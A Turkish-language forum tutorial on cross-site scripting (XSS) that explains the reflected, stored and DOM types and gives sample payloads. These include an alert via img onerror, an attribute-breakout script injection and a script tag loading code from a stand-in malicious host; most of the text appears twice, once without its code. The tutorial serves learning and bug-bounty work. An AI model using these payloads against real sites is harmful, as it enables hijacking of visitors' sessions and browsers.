UYARI: THT'de script etiketleri engellendiği için makalede i harfi yerine ters ünlem ( ¡ ) kullanılacaktır. Siz orayı i harfi olarak anlayın, ona göre öğrenin.
XSS zafiyeti hedef sitemizde HTML ve Javascript kodları çalıştırmamızı sağlayan kritik bir zafiyettir. HTML Injection zafiyetinden farkı; Javascript kodu da çalışmasıdır. Eğer HTML kodu çalışıyorsa fakat Javascript kodları çalışmıyorsa orda HTML Injection zafiyeti vardır. Bazıları bu zafiyet hakkında "Ne işe yarar ki, sonuçta ekrana bir şey yazdırıyo'n o kadar." gibi bir düşünceye sahip olabiliyor. Fakat iş ekrana yazı yazdırmakla kalmayabilir, sonuçta istediğimiz Javascript kodunu çalıştırabiliyoruz. Bug Bounty'de de oldukça önemli görülen bir zafiyettir.
Öncelikle bu makalede okuduğunuzu anlamanız için temel düzeyde Javascript ve HTML bilginizin olması gerekiyor.
Konumuzda sıkça geçecek olan bir kelime ve anlamını bırakayım buraya. Payload: XSS zafiyetini sömürebilecek Javascript kodu. Kelime anlamı bu değil ama konu XSS olunca böyle bir terim anlamı oluyor.
Nerelerde aranabilir: Arama kutucuğu gibi yazı yazabildiğimiz her yerde, URL'de parametrelerde arayabiliriz.
Üçe ayrılır: Reflected, Stored, DOM
Reflected XSS: Sadece kullanıcı Javascript kodu yazdığında çalışır. Sunucuda bir kalıcılığı yoktur.
Stored XSS: Reflected XSS'in aksine kalıcıdır. Payload'lar anlık olarak yansımaz, önce sunucuya kaydedilir. Stored XSS bulunan sayfaya Payload atıldıktan sonra o adrese giden herkes önceden atılan Payload'a maruz kalır.
DOM XSS: DOM'lardan kaynaklanan XSS türüdür, genelde # işaretinden sonra payload denenip sayfa yenilendiğinde kodun çalışmasıyla anlaşılan XSS türüdür.
3 çeşit payload vardır.
1) Script etiketleri kullanılanlar: Javascript kodları <script></script> etiketleri arasına yazılır.
2) Harici Javascript kodu çalıştırma: Farklı bir adreste bulunan Javascript kodu çalıştırmaya yarar.
3) Olaylara yazılan Javascript kodları: Buradaki payload yapısı aşağıdaki gibidir.
Örnek:
Örneğimizde "Sayfaya resim yüklenirken hata olması durumunda ekrana alert() ile 1 yazdır." demiş oluyoruz. Biz belli bir resim belirtmediğimiz için bu kodumuz hatalı oluyor, hata olduğu durumda ekrana 1 sayısını yansıtmış oluyoruz.
Kullanılabilecek olaylar:
XSS tespiti için alert alternatifi olarak prompt ve confirm kullanabilir. Basit farkları var. Alert sadece ekrana istediğimiz değeri yansıtır. Prompt istediğimiz değeri yansıtır ve kullanıcıdan veri isteyen bir kutucuk bulundurur. Confirm istediğimiz değeri yansıtır ve "Tamam" ve "İptal" gibi 2 seçenek sunar. Burda bizim istediğimizin yansıtılması bizim için yeterli, o yüzden alert, prompt veya confirm kullanmanın pek farkı yok. İstediğimiz verinin ekrana yansıması yeterli.
Bazen üstteki payload yöntemleri çalışmayabilir bunun nedenini ve bu sorunu çözmeyi de şu anda anlatacağım. Değer girebildiğimiz kutucuklarda bizden alınan veriler iki adet çift tırnak içine yazılır. Mesela bizden herhangi bir şey yazmamızı isteyen kutucuk olsun, ve bizim kutucuğa Kuroko yazdığımızı düşünelim. Bizim Kuroko değerini yazdıktan sonraki kutucuğun kodu da şu olsun:
Eğer biz burda yazdığımız değerden sonra etiketi kendimiz kapatırsak geriye boş bir alan kalacak ve biz bu boş alanda istediğimiz gibi at koşturabileceğiz. Yani istediğimiz kodu çalıştırabileceğiz. Eğer biz Kuroko yazdığımız yere "><scr¡pt>alert(1)</script> yazarsak input etiketi içinden kurtulup kendimize ait script etiketleri kullanarak ekrana 1 değerini yansıtabileceğiz. Bahsettiğimiz payload uygulandıktan sonra ise kaynak kod şöyle olacak:
XSS zafiyeti hedef sitemizde HTML ve Javascript kodları çalıştırmamızı sağlayan kritik bir zafiyettir. HTML Injection zafiyetinden farkı; Javascript kodu da çalışmasıdır. Eğer HTML kodu çalışıyorsa fakat Javascript kodları çalışmıyorsa orda HTML Injection zafiyeti vardır. Bazıları bu zafiyet hakkında "Ne işe yarar ki, sonuçta ekrana bir şey yazdırıyo'n o kadar." gibi bir düşünceye sahip olabiliyor. Fakat iş ekrana yazı yazdırmakla kalmayabilir, sonuçta istediğimiz Javascript kodunu çalıştırabiliyoruz. Bug Bounty'de de oldukça önemli görülen bir zafiyettir.
Öncelikle bu makalede okuduğunuzu anlamanız için temel düzeyde Javascript ve HTML bilginizin olması gerekiyor.
Konumuzda sıkça geçecek olan bir kelime ve anlamını bırakayım buraya. Payload: XSS zafiyetini sömürebilecek Javascript kodu. Kelime anlamı bu değil ama konu XSS olunca böyle bir terim anlamı oluyor.
Nerelerde aranabilir: Arama kutucuğu gibi yazı yazabildiğimiz her yerde, URL'de parametrelerde arayabiliriz.
Üçe ayrılır: Reflected, Stored, DOM
Reflected XSS: Sadece kullanıcı Javascript kodu yazdığında çalışır. Sunucuda bir kalıcılığı yoktur.
Stored XSS: Reflected XSS'in aksine kalıcıdır. Payload'lar anlık olarak yansımaz, önce sunucuya kaydedilir. Stored XSS bulunan sayfaya Payload atıldıktan sonra o adrese giden herkes önceden atılan Payload'a maruz kalır.
DOM XSS: DOM'lardan kaynaklanan XSS türüdür, genelde # işaretinden sonra payload denenip sayfa yenilendiğinde kodun çalışmasıyla anlaşılan XSS türüdür.
3 çeşit payload vardır.
1) Script etiketleri kullanılanlar: Javascript kodları <script></script> etiketleri arasına yazılır.
2) Harici Javascript kodu çalıştırma: Farklı bir adreste bulunan Javascript kodu çalıştırmaya yarar.
Kod:
<SCRIPT SRC=http://zararlısite.com/zararlıxssdosyasi.js></SCRIPT>
3) Olaylara yazılan Javascript kodları: Buradaki payload yapısı aşağıdaki gibidir.
Kod:
<etiket olay=javascript kodu>
Kod:
<img onerror=alert(1)>
Kullanılabilecek olaylar:
Kod:
onclick
ondblclick
onmousedown
onmousemove
onmouseover
onmouseout
onmouseup
onkeydown
onkeypress
onkeyup
onabort
onerror
onload
onresize
onscroll
onunload
onsubmit
onblur
onchange
onfocus
onreset
onselect
onMoveOn
oncopy
oncut
ondrop
onhelp
onplay
onshow
XSS tespiti için alert alternatifi olarak prompt ve confirm kullanabilir. Basit farkları var. Alert sadece ekrana istediğimiz değeri yansıtır. Prompt istediğimiz değeri yansıtır ve kullanıcıdan veri isteyen bir kutucuk bulundurur. Confirm istediğimiz değeri yansıtır ve "Tamam" ve "İptal" gibi 2 seçenek sunar. Burda bizim istediğimizin yansıtılması bizim için yeterli, o yüzden alert, prompt veya confirm kullanmanın pek farkı yok. İstediğimiz verinin ekrana yansıması yeterli.
Bazen üstteki payload yöntemleri çalışmayabilir bunun nedenini ve bu sorunu çözmeyi de şu anda anlatacağım. Değer girebildiğimiz kutucuklarda bizden alınan veriler iki adet çift tırnak içine yazılır. Mesela bizden herhangi bir şey yazmamızı isteyen kutucuk olsun, ve bizim kutucuğa Kuroko yazdığımızı düşünelim. Bizim Kuroko değerini yazdıktan sonraki kutucuğun kodu da şu olsun:
Kod:
<input type="text" name="kutucuk" value="Kuroko">
Kod:
<input type="text" name="kutucuk" value=""><scr¡pt>alert(1)</script>
Son düzenleme: